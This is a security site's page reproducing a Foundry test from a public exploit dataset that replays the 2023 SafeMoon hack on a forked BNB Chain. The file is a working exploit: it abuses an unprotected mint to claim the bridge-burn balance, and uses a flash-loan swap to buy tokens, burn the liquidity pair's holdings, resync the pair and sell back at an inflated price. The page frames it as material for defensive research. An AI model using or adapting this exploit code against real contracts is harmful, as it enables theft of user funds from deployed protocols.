Skip to content
THREATWIRE

Public reproduction file

src/test/2023-03/safeMoon_exp.sol

Public reproduction file for dataset entry SafeMoon Hack.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-03/safeMoon_exp.sol167 lines
1pragma solidity ^0.8.13;
2
3import "forge-std/Test.sol";
4
5interface IUniswapV2Router02 {
6 function WETH() external pure returns (address);
7
8 function routerTrade() external pure returns (address);
9}
11interface ISafemoon {
12 function uniswapV2Router() external returns (IUniswapV2Router02);
14 function uniswapV2Pair() external returns (address);
16 function bridgeBurnAddress() external returns (address);
18 function approve(address spender, uint256 amount) external;
20 function balanceOf(
21 address account
22 ) external view returns (uint256);
24 function mint(address user, uint256 amount) external;
26 function burn(address from, uint256 amount) external;
29interface ISafeSwapTradeRouter {
30 struct Trade {
31 uint256 amountIn;
32 uint256 amountOut;
33 address[] path;
34 address payable to;
35 uint256 deadline;
36 }
38 function getSwapFees(uint256 amountIn, address[] memory path) external view returns (uint256 _fees);
40 function swapExactTokensForTokensWithFeeAmount(
41 Trade calldata trade
42 ) external payable;
45interface IWETH {
46 function approve(address, uint256) external returns (bool);
48 function transfer(address, uint256) external returns (bool);
50 function balanceOf(
51 address
52 ) external view returns (uint256);
55interface IPancakePair {
56 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
59interface IPancakeCallee {
60 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external;
63interface IUniswapV2Pair {
64 function sync() external;
67contract SafemoonAttackerTest is Test, IPancakeCallee {
68 ISafemoon public sfmoon;
69 IPancakePair public pancakePair;
70 IWETH public weth;
72 function setUp() public {
73 vm.createSelectFork("bsc", 26_854_757);
75 sfmoon = ISafemoon(0x42981d0bfbAf196529376EE702F2a9Eb9092fcB5);
76 pancakePair = IPancakePair(0x1CEa83EC5E48D9157fCAe27a19807BeF79195Ce1);
77 weth = IWETH(sfmoon.uniswapV2Router().WETH());
78 }
80 function testMint() public {
81 vm.rollFork(26_854_757);
83 uint256 originalBalance = sfmoon.balanceOf(address(this));
84 emit log_named_uint("sfmoon balance before:", originalBalance);
85 assertEq(originalBalance, 0);
87 sfmoon.mint(address(this), sfmoon.balanceOf(sfmoon.bridgeBurnAddress()));
89 uint256 currentBalance = sfmoon.balanceOf(address(this));
90 emit log_named_uint("sfmoon balance after:", currentBalance);
91 assertEq(currentBalance, 81_804_509_291_616_467_966);
92 }
94 function testBurn() public {
95 vm.rollFork(26_864_889);
97 uint256 originalBalance = weth.balanceOf(address(this));
98 emit log_named_uint("weth balance before:", originalBalance);
99 assertEq(originalBalance, 0);
101 pancakePair.swap(1000 ether, 0, address(this), "ggg");
103 uint256 currentBalance = weth.balanceOf(address(this));
104 emit log_named_uint("weth balance after:", currentBalance);
105 assertEq(currentBalance, 27_463_848_254_806_782_408_231);
106 }
108 function doBurnHack(
109 uint256 amount
110 ) public {
111 swappingBnbForTokens(amount);
112 sfmoon.burn(sfmoon.uniswapV2Pair(), sfmoon.balanceOf(sfmoon.uniswapV2Pair()) - 1_000_000_000);
113 sfmoon.burn(address(sfmoon), sfmoon.balanceOf(address(sfmoon)));
114 IUniswapV2Pair(sfmoon.uniswapV2Pair()).sync();
115 swappingTokensForBnb(sfmoon.balanceOf(address(this)));
116 }
118 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
119 require(msg.sender == address(pancakePair));
120 require(sender == address(this));
122 doBurnHack(amount0);
123 weth.transfer(msg.sender, (amount0 * 10_030) / 10_000);
124 }
126 function swappingBnbForTokens(
127 uint256 tokenAmount
128 ) private {
129 address[] memory path = new address[](2);
130 path[0] = address(weth);
131 path[1] = address(sfmoon);
133 ISafeSwapTradeRouter tradeRouter = ISafeSwapTradeRouter(sfmoon.uniswapV2Router().routerTrade());
134 weth.approve(address(sfmoon.uniswapV2Router()), tokenAmount);
136 uint256 feeAmount = tradeRouter.getSwapFees(tokenAmount, path);
137 ISafeSwapTradeRouter.Trade memory trade = ISafeSwapTradeRouter.Trade({
138 amountIn: tokenAmount,
139 amountOut: 0,
140 path: path,
141 to: payable(address(this)),
142 deadline: block.timestamp
143 });
144 tradeRouter.swapExactTokensForTokensWithFeeAmount{value: feeAmount}(trade);
145 }
147 function swappingTokensForBnb(
148 uint256 tokenAmount
149 ) private {
150 address[] memory path = new address[](2);
151 path[0] = address(sfmoon);
152 path[1] = address(weth);
154 ISafeSwapTradeRouter tradeRouter = ISafeSwapTradeRouter(sfmoon.uniswapV2Router().routerTrade());
155 sfmoon.approve(address(sfmoon.uniswapV2Router()), tokenAmount);
157 uint256 feeAmount = tradeRouter.getSwapFees(tokenAmount, path);
158 ISafeSwapTradeRouter.Trade memory trade = ISafeSwapTradeRouter.Trade({
159 amountIn: tokenAmount,
160 amountOut: 0,
161 path: path,
162 to: payable(address(this)),
163 deadline: block.timestamp
164 });
165 tradeRouter.swapExactTokensForTokensWithFeeAmount{value: feeAmount}(trade);
166 }

Analysis

Dataset entry

Public Foundry test for “SafeMoon Hack” (2023-03-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

8 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

File record

Name
SafeMoon Hack
Path
src/test/2023-03/safeMoon_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
23de3b636c9121a067c63fdfad1d7e0249ca8559
Language
Solidity
Size
168 lines
Date
2023-03-28
Licence
ThreatWire editorial text
Retrieved
2026-10-19

Provenance

Path src/test/2023-03/safeMoon_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 23de3b636c9121a067c63fdfad1d7e0249ca8559, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.